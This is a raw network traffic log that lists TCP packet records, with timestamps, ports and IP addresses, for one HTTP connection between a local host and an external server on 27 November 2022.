Nov 27, 2022 04:36:43.019512892 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.019531012 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.019530058 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.019548893 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.019566059 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.019568920 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.019584894 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.019601107 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.019610882 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.019627094 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.019750118 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.019783020 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.019830942 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.019835949 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.019850016 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.019896984 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.019916058 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.019917965 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.019933939 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.019946098 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.019953012 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.019973040 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.019990921 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.020003080 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.020009041 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.020023108 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.020056963 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.020060062 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.020102024 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.020121098 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.020138025 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.020155907 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.020169973 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.020175934 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.020188093 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.020194054 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.020211935 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.020229101 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.020230055 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.020250082 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.020267010 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.020282030 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.020283937 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.020298958 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.020324945 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.020342112 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.020356894 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.020373106 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.020389080 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.020572901 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.020612001 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.020629883 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.020648956 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.020665884 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.020667076 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.020684004 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.020685911 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.020704031 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.020716906 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.020721912 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.020740986 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.020757914 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.020759106 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.020776987 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.020795107 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.020795107 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.020812988 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.020834923 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.020836115 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.020854950 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.020872116 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.020888090 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.020891905 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.020906925 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.020910978 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.020927906 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.020946026 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.020958900 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.020965099 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.020977020 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.020986080 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.021003962 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.021020889 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.021023035 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.021040916 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.021056890 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.021071911 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.021090984 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.021236897 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.021270990 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.021290064 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.021295071 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.021305084 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.021337986 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.021364927 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.021384001 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.021400928 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.021418095 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.021430969 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.021436930 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.021449089 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.021456003 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.021476030 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.021491051 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.021492958 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.021507025 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.021522999 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.021541119 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.021548033 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.021559000 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.021568060 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.021579981 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.021589994 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.021598101 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.021616936 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.021634102 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.021634102 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.021652937 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.021671057 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.021682978 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.021689892 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.021706104 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.021711111 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.021728992 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.021744967 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.021761894 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.021779060 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.022068024 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.022087097 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.022106886 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.022124052 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.022140026 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.022140980 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.022160053 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.022161007 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.022178888 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.022197008 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.022197008 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.022216082 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.022233963 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.022234917 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.022253036 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.022272110 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.022272110 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.022289991 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.022306919 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.022308111 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.022325993 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.022331953 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.022346020 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.022363901 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.022381067 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.022399902 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.022403002 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.022418022 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.022419930 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.022437096 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.022453070 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.022454977 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.022470951 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.022489071 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.022495031 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.022505999 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.022524118 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.022536993 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.022537947 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.022550106 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.022562027 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.022573948 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.022586107 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.022598028 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.022608995 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.022679090 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.022697926 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.022955894 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.023001909 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.023021936 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.023041010 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.023061037 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.023072958 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.023080111 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.023097992 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.023102045 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.023123026 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.023139000 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.023143053 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.023163080 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.023181915 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.023181915 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.023201942 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.023216963 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.023220062 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.023240089 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.023255110 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.023257971 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.023277998 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.023292065 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.023298025 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.023317099 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.023330927 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.023336887 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.023355961 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.023374081 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.023374081 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.023392916 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.023411989 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.023422003 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.023432016 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.023443937 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.023452044 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.023471117 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.023483992 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.023488998 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.023508072 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.023525000 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.023525953 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.023545027 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.023561954 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.023562908 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.023581982 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.023601055 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.023602009 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.023634911 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.023855925 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.023912907 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.023931980 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.023951054 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.023969889 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.023974895 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.023991108 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.024000883 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.024009943 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.024019003 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.024029970 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.024048090 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.024063110 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.024066925 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.024085999 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.024104118 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.024116039 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.024122000 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.024139881 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.024142027 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.024162054 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.024178982 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.024180889 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.024200916 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.024216890 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.024218082 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.024238110 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.024255991 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.024255991 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.024275064 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.024291992 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.024291992 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.024311066 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.024326086 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.024328947 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.024347067 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.024363995 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.024367094 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.024382114 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.024399042 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.024400949 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.024420023 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.024435997 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.024436951 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.024454117 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.024471045 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.024471998 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.024487972 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.024499893 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.024507999 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.024525881 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.024543047 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.024584055 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.024840117 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.024904013 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.024924040 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.024941921 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.024960995 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.024972916 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.024980068 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.024998903 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.025000095 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.025017023 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.025029898 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.025034904 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.025053024 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.025070906 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.025072098 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.025089025 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.025094986 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.025106907 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.025132895 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.025136948 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.025151968 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.025170088 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.025202990 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.025218010 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.025219917 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.025235891 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.025253057 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.025278091 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.025286913 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.025295973 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.025314093 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.025327921 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.025358915 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.025361061 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.025377989 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.025398016 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.025417089 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.025434971 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.025444031 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.025454044 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.025463104 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.025475025 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.025492907 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.025510073 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.025521994 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.025527954 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.025546074 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.025547028 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.025566101 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.025583982 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.025585890 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.025604963 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.025620937 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.025623083 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.025644064 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.025656939 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.025662899 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.025680065 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.025692940 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.025698900 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.025717974 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.025727034 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.025736094 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.025753021 CET	80	49705	66.235.200.147	192.168.2.5
